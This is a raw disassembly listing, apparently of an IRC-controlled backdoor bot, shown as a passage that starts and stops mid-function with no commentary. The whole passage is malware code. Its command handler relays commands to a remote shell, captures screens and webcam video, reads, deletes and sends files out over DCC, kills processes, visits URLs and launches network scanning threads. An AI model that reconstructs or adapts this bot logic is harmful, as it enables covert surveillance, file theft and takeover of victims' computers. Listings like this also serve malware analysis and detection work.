push edi
call sub_4195F0
test eax, eax
pop ecx
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
push esi
push offset aS_28 ; "%s\r\n"
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_4083E7
push esi
push edi
push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
jmp loc_410739
; ---------------------------------------------------------------------------
loc_410833: ; CODE XREF: sub_40C50A+23C5j
; sub_40C50A+23DCj
cmp [ebp+var_C], ebx
jz loc_41263B
push edi
push [ebp+var_C]
call sub_419AB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41263B
push esi
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push esi
push offset aMainModeChange ; "[MAIN]: Mode change: %s"
loc_410865: ; CODE XREF: sub_40C50A+4E83j
; sub_40C50A+4E9Cj ...
call sub_403655
loc_41086A: ; CODE XREF: sub_40C50A+43C9j
add esp, 14h
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_410872: ; CODE XREF: sub_40C50A+2397j
; sub_40C50A+23AEj
push [ebp+var_90]
push offset a332_2 ; "332"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40C97C
push [ebp+arg_18]
push offset aPartS_0 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push edi
call sub_4195F0
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_4942D8
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS_2 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push offset aMainCycle_ ; "[MAIN]: Cycle."
call sub_4035E1
jmp short loc_41086A
; ---------------------------------------------------------------------------
loc_4108D5: ; CODE XREF: sub_40C50A+2369j
; sub_40C50A+2380j
cmp [ebp+var_C], ebx
jz loc_41263B
push edi
call sub_418E70
push [ebp+arg_8]
mov esi, eax
call sub_418E70
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_419AB0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_41263B
push esi
lea eax, [ebp+var_2DC]
push offset dword_440C00
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_40842D
push esi
push edi
push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s."
call sub_403655
add esp, 2Ch
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_410943: ; CODE XREF: sub_40C50A+233Bj
; sub_40C50A+2352j
cmp [ebp+var_C], ebx
jz loc_41263B
push edi
call sub_418E70
push [ebp+arg_8]
mov esi, eax
call sub_418E70
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_419AB0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_41263B
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_40842D
push esi
push edi
push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
call sub_403655
jmp loc_40F550
; ---------------------------------------------------------------------------
loc_410996: ; CODE XREF: sub_40C50A+230Dj
; sub_40C50A+2324j
cmp [ebp+var_C], ebx
jz loc_40C97C
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40C97C
push eax
push edi
call sub_4034E9
push edi
lea eax, [ebp+var_2DC]
push offset aMainAliasAdded ; "[MAIN]: Alias added: %s."
push eax
call sub_418D70
jmp loc_41018A
; ---------------------------------------------------------------------------
loc_4109D2: ; CODE XREF: sub_40C50A+22CDj
; sub_40C50A+22E4j
push edi
push [ebp+arg_1C]
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jz loc_41263B
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_410A6F
push esi
push [ebp+var_C]
call sub_419AB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410A57
push esi
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset aSSSS_1 ; "%s %s %s :%s"
push eax
call sub_418D70
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_4191A0
push esi
push edi
lea eax, [ebp+var_2DC]
push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s"
push eax
call sub_418D70
add esp, 34h
inc [ebp+arg_24]
jmp loc_41214F
; ---------------------------------------------------------------------------
loc_410A57: ; CODE XREF: sub_40C50A+44F5j
lea eax, [ebp+var_2DC]
push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
push eax
call sub_418D70
pop ecx
pop ecx
jmp loc_41214F
; ---------------------------------------------------------------------------
loc_410A6F: ; CODE XREF: sub_40C50A+44E4j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_4156E4
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
push edi
push offset aMainGethostS_ ; "[MAIN]: Gethost: %s."
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
add esp, 24h
jmp loc_41214F
; ---------------------------------------------------------------------------
loc_410AB6: ; CODE XREF: sub_40C50A+229Fj
; sub_40C50A+22B6j
push offset aScreen ; "screen"
push edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_410B19
cmp [ebp+esi+var_8C], ebx
jz short loc_410B06
push [ebp+esi+var_8C]
call sub_403948
cmp eax, 1
pop ecx
jnz short loc_410AFF
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset aCaptureScreenC ; "[CAPTURE]: Screen capture saved to: %s."...
push eax
call sub_418D70
add esp, 0Ch
jmp short loc_410B19
; ---------------------------------------------------------------------------
loc_410AFF: ; CODE XREF: sub_40C50A+45D6j
push offset aCaptureErrorWh ; "[CAPTURE]: Error while capturing screen"...
jmp short loc_410B0B
; ---------------------------------------------------------------------------
loc_410B06: ; CODE XREF: sub_40C50A+45C4j
push offset aCaptureNoFilen ; "[CAPTURE]: No filename specified for sc"...
loc_410B0B: ; CODE XREF: sub_40C50A+45FAj
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
pop ecx
pop ecx
loc_410B19: ; CODE XREF: sub_40C50A+45BBj
; sub_40C50A+45F3j
push offset aDrivers ; "drivers"
push edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_410BB0
mov [ebp+arg_0], ebx
loc_410B31: ; CODE XREF: sub_40C50A+4691j
lea eax, [ebp+var_75C]
push 1FFh
push eax
lea eax, [ebp+var_3F8]
push 0FFh
push eax
push [ebp+arg_0]
call dword_44B6F0
test eax, eax
jz short loc_410B94
lea eax, [ebp+var_75C]
push eax
lea eax, [ebp+var_3F8]
push eax
lea eax, [ebp+var_15B0]
push [ebp+arg_0]
push offset aCaptureDriverD ; "[CAPTURE]: Driver #%d - %s - %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_15B0]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 28h
loc_410B94: ; CODE XREF: sub_40C50A+464Aj
inc [ebp+arg_0]
cmp [ebp+arg_0], 0Ah
jl short loc_410B31
lea eax, [ebp+var_2DC]
push offset aCaptureDriverL ; "[CAPTURE]: Driver list complete."
push eax
call sub_418D70
pop ecx
pop ecx
loc_410BB0: ; CODE XREF: sub_40C50A+461Ej
push offset aFrame ; "frame"
push edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_410C56
cmp [ebp+esi+var_8C], ebx
jz short loc_410C43
cmp [ebp+esi+var_88], ebx
jz short loc_410C43
cmp [ebp+esi+var_84], ebx
jz short loc_410C43
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_410C43
push eax
call sub_4195F0
pop ecx
push eax
push [ebp+esi+var_84]
call sub_4195F0
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4195F0
pop ecx
push eax
push [ebp+esi+var_8C]
call sub_403B83
add esp, 10h
test eax, eax
jnz short loc_410C3C
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset aCaptureWebcamC ; "[CAPTURE]: Webcam capture saved to: %s."...
push eax
call sub_418D70
add esp, 0Ch
jmp short loc_410C56
; ---------------------------------------------------------------------------
loc_410C3C: ; CODE XREF: sub_40C50A+4713j
push offset aCaptureError_0 ; "[CAPTURE]: Error while capturing from w"...
jmp short loc_410C48
; ---------------------------------------------------------------------------
loc_410C43: ; CODE XREF: sub_40C50A+46C2j
; sub_40C50A+46CBj ...
push offset aCaptureInvalid ; "[CAPTURE]: Invalid parameters for webca"...
loc_410C48: ; CODE XREF: sub_40C50A+4737j
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
pop ecx
pop ecx
loc_410C56: ; CODE XREF: sub_40C50A+46B5j
; sub_40C50A+4730j
push offset aVideo ; "video"
push edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_41110A
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_410CEF
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_410CEF
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz short loc_410CEF
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_410CEF
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_410CEF
push esi
call sub_4195F0
pop ecx
push eax
push edi
call sub_4195F0
pop ecx
push eax
push [ebp+arg_10]
call sub_4195F0
pop ecx
push eax
push [ebp+arg_0]
call sub_4195F0
pop ecx
push eax
push [ebp+arg_18]
call sub_403D7C
add esp, 14h
test eax, eax
jnz short loc_410CE5
push [ebp+arg_18]
push offset aCaptureAmateur ; "[CAPTURE]: Amateur video saved to: %s."
jmp loc_40EF0C
; ---------------------------------------------------------------------------
loc_410CE5: ; CODE XREF: sub_40C50A+47CCj
push offset aCaptureError_1 ; "[CAPTURE]: Error while capturing amateu"...
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_410CEF: ; CODE XREF: sub_40C50A+476Dj
; sub_40C50A+477Bj ...
push offset aCaptureInval_0 ; "[CAPTURE]: Invalid parameters for amate"...
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_410CF9: ; CODE XREF: sub_40C50A+1BB1j
; sub_40C50A+1BC8j
push offset aR_1 ; "r"
push edi
call sub_419D70
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410D73
mov ebx, 200h
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_419B30
add esp, 0Ch
loc_410D22: ; CODE XREF: sub_40C50A+4847j
test eax, eax
jz short loc_410D53
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_419B30
add esp, 20h
jmp short loc_410D22
; ---------------------------------------------------------------------------
loc_410D53: ; CODE XREF: sub_40C50A+481Aj
push esi
call sub_419740
push edi
lea eax, [ebp+var_2DC]
push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
push eax
call sub_418D70
add esp, 10h
jmp loc_40E781
; ---------------------------------------------------------------------------
loc_410D73: ; CODE XREF: sub_40C50A+4800j
push edi
push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"
jmp loc_4124EE
; ---------------------------------------------------------------------------
loc_410D7E: ; CODE XREF: sub_40C50A+1B83j
; sub_40C50A+1B9Aj
cmp [ebp+var_C], ebx
jz loc_41263B
push edi
push [ebp+var_C]
call sub_419AB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41263B
push offset asc_440414 ; "\n"
push esi
call sub_419FB0
push esi
call sub_412C50
add esp, 0Ch
test eax, eax
jnz short loc_410DBE
push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_410DBE: ; CODE XREF: sub_40C50A+48A8j
push esi
push offset aCmdCommandsS ; "[CMD]: Commands: %s"
jmp loc_412140
; ---------------------------------------------------------------------------
loc_410DC9: ; CODE XREF: sub_40C50A+1B55j
; sub_40C50A+1B6Cj
cmp [ebp+var_C], ebx
jz loc_41263B
push edi
push [ebp+var_C]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_41263B
push eax
call sub_409B65
test eax, eax
pop ecx
jnz short loc_410DFA
push offset aMircClientNotO ; "[mIRC]: Client not open."
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_410DFA: ; CODE XREF: sub_40C50A+48E4j
push offset aMircCommandSen ; "[mIRC]: Command sent."
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_410E04: ; CODE XREF: sub_40C50A+1B27j
; sub_40C50A+1B3Ej
push 7Fh
lea eax, [ebp+var_6EC]
push edi
push eax
call sub_4191A0
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_410E33
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_4191A0
add esp, 0Ch
loc_410E33: ; CODE XREF: sub_40C50A+4915j
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_4191A0
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_6F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
mov eax, [ebp+var_4]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push offset aVisitUrlS_ ; "[VISIT]: URL: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 14h
push eax
call sub_4161EB
add esp, 24h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F0]
push ebx
push eax
push offset sub_416544
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_410ED1
loc_410EBB: ; CODE XREF: sub_40C50A+49C5j
cmp [ebp+var_560], ebx
jnz loc_41214F
push 32h
call ds:dword_4942D8
jmp short loc_410EBB
; ---------------------------------------------------------------------------
loc_410ED1: ; CODE XREF: sub_40C50A+49AFj
call ds:dword_4942F0
push eax
push offset aVisitFailedToS ; "[VISIT]: Failed to start connection thr"...
jmp loc_412140
; ---------------------------------------------------------------------------
loc_410EE2: ; CODE XREF: sub_40C50A+1AF9j
; sub_40C50A+1B10j
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4075C7
push edi
push offset aFileListS ; "[FILE]: List: %s"
jmp loc_410739
; ---------------------------------------------------------------------------
loc_410EFD: ; CODE XREF: sub_40C50A+1ACBj
; sub_40C50A+1AE2j
push 14h
lea eax, [ebp+var_708]
push ebx
push eax
call sub_4189A0
push edi
lea eax, [ebp+var_6F4]
push offset aS_35 ; "%s"
push eax
call sub_418D70
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_5F0]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset aDccSendFileSUs ; "[DCC]: Send File: %s, User: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_4161EB
add esp, 40h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40465D
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_410FCD
loc_410FB7: ; CODE XREF: sub_40C50A+4AC1j
cmp [ebp+var_560], ebx
jnz loc_40EFB5
push 32h
call ds:dword_4942D8
jmp short loc_410FB7
; ---------------------------------------------------------------------------
loc_410FCD: ; CODE XREF: sub_40C50A+4AABj
call ds:dword_4942F0
push eax
push offset aDccFailedToS_1 ; "[DCC]: Failed to start transfer thread,"...
jmp loc_4124D0
; ---------------------------------------------------------------------------
loc_410FDE: ; CODE XREF: sub_40C50A+1A9Dj
; sub_40C50A+1AB4j
push edi
call ds:dword_4943C0
test eax, eax
jz short loc_410FF1
push edi
push offset aFileDeletedS_ ; "[FILE]: Deleted '%s'."
jmp short loc_410FFC
; ---------------------------------------------------------------------------
loc_410FF1: ; CODE XREF: sub_40C50A+4ADDj
push offset aFile_2 ; "[FILE]:"
call sub_409AA0
push eax
loc_410FFC: ; CODE XREF: sub_40C50A+4AE5j
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
add esp, 10h
jmp loc_40E760
; ---------------------------------------------------------------------------
loc_411015: ; CODE XREF: sub_40C50A+1A6Fj
; sub_40C50A+1A86j
push edi
call sub_4195F0
push eax
call sub_40B813
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_411032
push offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
jmp short loc_411037
; ---------------------------------------------------------------------------
loc_411032: ; CODE XREF: sub_40C50A+4B1Fj
push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...
loc_411037: ; CODE XREF: sub_40C50A+4B26j
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_40E784
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
jmp loc_40E784
; ---------------------------------------------------------------------------
loc_411070: ; CODE XREF: sub_40C50A+1A41j
; sub_40C50A+1A58j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_40B4F2
add esp, 18h
cmp eax, 1
push edi
jnz short loc_411092
push offset aProcProcessK_0 ; "[PROC]: Process killed: %s"
jmp loc_4124EE
; ---------------------------------------------------------------------------
loc_411092: ; CODE XREF: sub_40C50A+4B7Cj
push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
jmp loc_4124EE
; ---------------------------------------------------------------------------
loc_41109C: ; CODE XREF: sub_40C50A+1A13j
; sub_40C50A+1A2Aj
push edi
call dword_44B700 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4110D6
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_44B678 ; gethostbyaddr
cmp eax, ebx
jz short loc_4110F7
push dword ptr [eax]
push edi
push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
loc_4110C5: ; CODE XREF: sub_40C50A+4BEBj
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 10h
jmp short loc_41110A
; ---------------------------------------------------------------------------
loc_4110D6: ; CODE XREF: sub_40C50A+4B9Fj
push edi
call dword_44B744 ; gethostbyname
cmp eax, ebx
jz short loc_4110F7
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_44B74C ; inet_ntoa
push eax
push edi
push offset aDnsLookupSS__0 ; "[DNS]: Lookup: %s -> %s."
jmp short loc_4110C5
; ---------------------------------------------------------------------------
loc_4110F7: ; CODE XREF: sub_40C50A+4BB1j
; sub_40C50A+4BD5j
push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
loc_4110FC: ; CODE XREF: sub_40C50A+3E2Dj
; sub_40C50A+3FB6j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
pop ecx
pop ecx
loc_41110A: ; CODE XREF: sub_40C50A+2A11j
; sub_40C50A+3B3Cj ...
cmp [ebp+var_8], ebx
jnz loc_41214F
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
jmp loc_41214F
; ---------------------------------------------------------------------------
loc_411134: ; CODE XREF: sub_40C50A+19E5j
; sub_40C50A+19FCj
push 7Fh
push edi
push [ebp+arg_14]
call sub_4191A0
push edi
lea eax, [ebp+var_2DC]
push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
push eax
call sub_418D70
add esp, 18h
jmp loc_4125A2
; ---------------------------------------------------------------------------
loc_411159: ; CODE XREF: sub_40C50A+19B7j
; sub_40C50A+19CEj
push 5
push ebx
push ebx
push edi
push offset aOpen_2 ; "open"
push ebx
call dword_44B634
test eax, eax
push edi
jz short loc_411179
push offset aShellFileOpene ; "[SHELL]: File opened: %s"
jmp loc_4124EE
; ---------------------------------------------------------------------------
loc_411179: ; CODE XREF: sub_40C50A+4C63j
push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
jmp loc_4124EE
; ---------------------------------------------------------------------------
loc_411183: ; CODE XREF: sub_40C50A+1989j
; sub_40C50A+19A0j
mov al, [edi]
mov byte_43E1B8, al
movsx eax, byte ptr [edi]
push eax
push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
jmp loc_412593
; ---------------------------------------------------------------------------
loc_411198: ; CODE XREF: sub_40C50A+195Bj
; sub_40C50A+1972j
push edi
call sub_4195F0
test eax, eax
pop ecx
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
push ebx
push ebx
lea eax, [ebp+var_B4]
push 2
push eax
call sub_4138AA
push eax
lea eax, [ebp+var_2DC]
push offset aNickS_1 ; "NICK %s"
push eax
call sub_418D70
add esp, 1Ch
lea eax, [ebp+var_2DC]
push eax
push offset aS_29 ; "%s\r\n"
jmp loc_410669
; ---------------------------------------------------------------------------
loc_4111EF: ; CODE XREF: sub_40C50A+192Dj
; sub_40C50A+1944j
push edi
call sub_4195F0
test eax, eax
pop ecx
jle loc_40C97C
push edi
call sub_4195F0
mov esi, 1F4h
pop ecx
cmp eax, esi
jge loc_40C97C
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_4083E7
pop ecx
pop ecx
push esi
call ds:dword_4942D8
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call dword_44B758 ; closesocket
push [ebp+var_10]
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D06C[eax]
call ds:dword_4943D4
push edi
call sub_4195F0
imul eax, 234h
push edi
mov dword_44D06C[eax], ebx
call sub_4195F0
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_44CE58[eax], bl
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_411298: ; CODE XREF: sub_40C50A+18FFj
; sub_40C50A+1916j
push edi
push offset aAll ; "all"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_4112C7
call sub_4163B4
cmp eax, ebx
jle short loc_4112BD
push eax
push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
jmp loc_40EF85
; ---------------------------------------------------------------------------
loc_4112BD: ; CODE XREF: sub_40C50A+4DA6j
push offset aThreadsNoActiv ; "[THREADS]: No active threads found."
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_4112C7: ; CODE XREF: sub_40C50A+4D9Dj
mov eax, [ebp+var_BC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40C97C
lea eax, [ebp+edi*4+var_94]
mov [ebp+arg_24], eax
loc_4112E3: ; CODE XREF: sub_40C50A+4E4Aj
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40C97C
push esi
call sub_4195F0
push eax
call sub_416326
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_41130A
push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
jmp short loc_41130F
; ---------------------------------------------------------------------------
loc_41130A: ; CODE XREF: sub_40C50A+4DF7j
push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."
loc_41130F: ; CODE XREF: sub_40C50A+4DFEj
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41133F
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_41133F: ; CODE XREF: sub_40C50A+4E17j
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_4112E3
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_41135B: ; CODE XREF: sub_40C50A+18D1j
; sub_40C50A+18E8j
cmp [ebp+var_C], ebx
jz loc_41263B
push edi
push [ebp+var_C]
call sub_419AB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41263B
push esi
push offset aS_30 ; "%s\r\n"
push [ebp+arg_4]
call sub_4083E7
push esi
push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s."
jmp loc_410865
; ---------------------------------------------------------------------------
loc_411392: ; CODE XREF: sub_40C50A+18A3j
; sub_40C50A+18BAj
push edi
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push edi
push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
jmp loc_410865
; ---------------------------------------------------------------------------
loc_4113AB: ; CODE XREF: sub_40C50A+1875j
; sub_40C50A+188Cj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push edi
push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
jmp loc_410739
; ---------------------------------------------------------------------------
loc_4113CB: ; CODE XREF: sub_40C50A+1847j
; sub_40C50A+185Ej
push edi
push offset aNickS_2 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push edi
push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."
jmp loc_410865
; ---------------------------------------------------------------------------
loc_4113E4: ; CODE XREF: sub_40C50A+180Cj
; sub_40C50A+1821j
mov al, byte_43631A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_43631A
jz loc_40C97C
mov ecx, edx
loc_4113FB: ; CODE XREF: sub_40C50A+4EF9j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4113FB
cmp al, bl
jz loc_40C97C
mov [ebp+arg_18], edx
loc_411410: ; CODE XREF: sub_40C50A+51C0j
push 8
call sub_416433
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 258h
jle short loc_41145F
push ecx
lea eax, [ebp+var_2DC]
push offset aScanAlreadyD_0 ; "[SCAN]: Already %d scanning threads. To"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 20h
jmp loc_4116C1
; ---------------------------------------------------------------------------
loc_41145F: ; CODE XREF: sub_40C50A+4F20j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_436158, ebx
mov [ebp+var_318], 0A0h
mov [ebp+var_32C], 5
mov [ebp+var_328], ebx
mov [ebp+arg_0], ebx
jz short loc_4114CC
mov eax, [ebp+arg_18]
mov edi, offset dword_436158
lea esi, [eax-0Ah]
loc_411496: ; CODE XREF: sub_40C50A+4FA4j
lea eax, [edi-28h]
push esi
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_4114B2
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_411496
jmp short loc_4114CC
; ---------------------------------------------------------------------------
loc_4114B2: ; CODE XREF: sub_40C50A+4F9Aj
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_436158[ecx]
mov [ebp+var_330], ecx
loc_4114CC: ; CODE XREF: sub_40C50A+4F7Fj
; sub_40C50A+4FA6j
cmp [ebp+var_330], ebx
jz loc_4116D5
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_44B664 ; getsockname
mov al, [ebp+var_9C7]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_444]
push eax
call sub_4191A0
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_419170
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_41156E
loc_41154C: ; CODE XREF: sub_40C50A+5062j
cmp eax, ebx
jz short loc_41156E
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_419170
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_41154C
loc_41156E: ; CODE XREF: sub_40C50A+5040j
; sub_40C50A+5044j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_334], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_308], eax
lea eax, [ebp+var_434]
push edi
push eax
mov [ebp+var_304], 1
mov [ebp+var_30C], esi
call sub_418EF0
push offset dword_491D80
push offset aFf_1 ; "#ff-"
call sub_419360
add esp, 14h
test eax, eax
jz short loc_4115D8
push offset aFf_1 ; "#ff-"
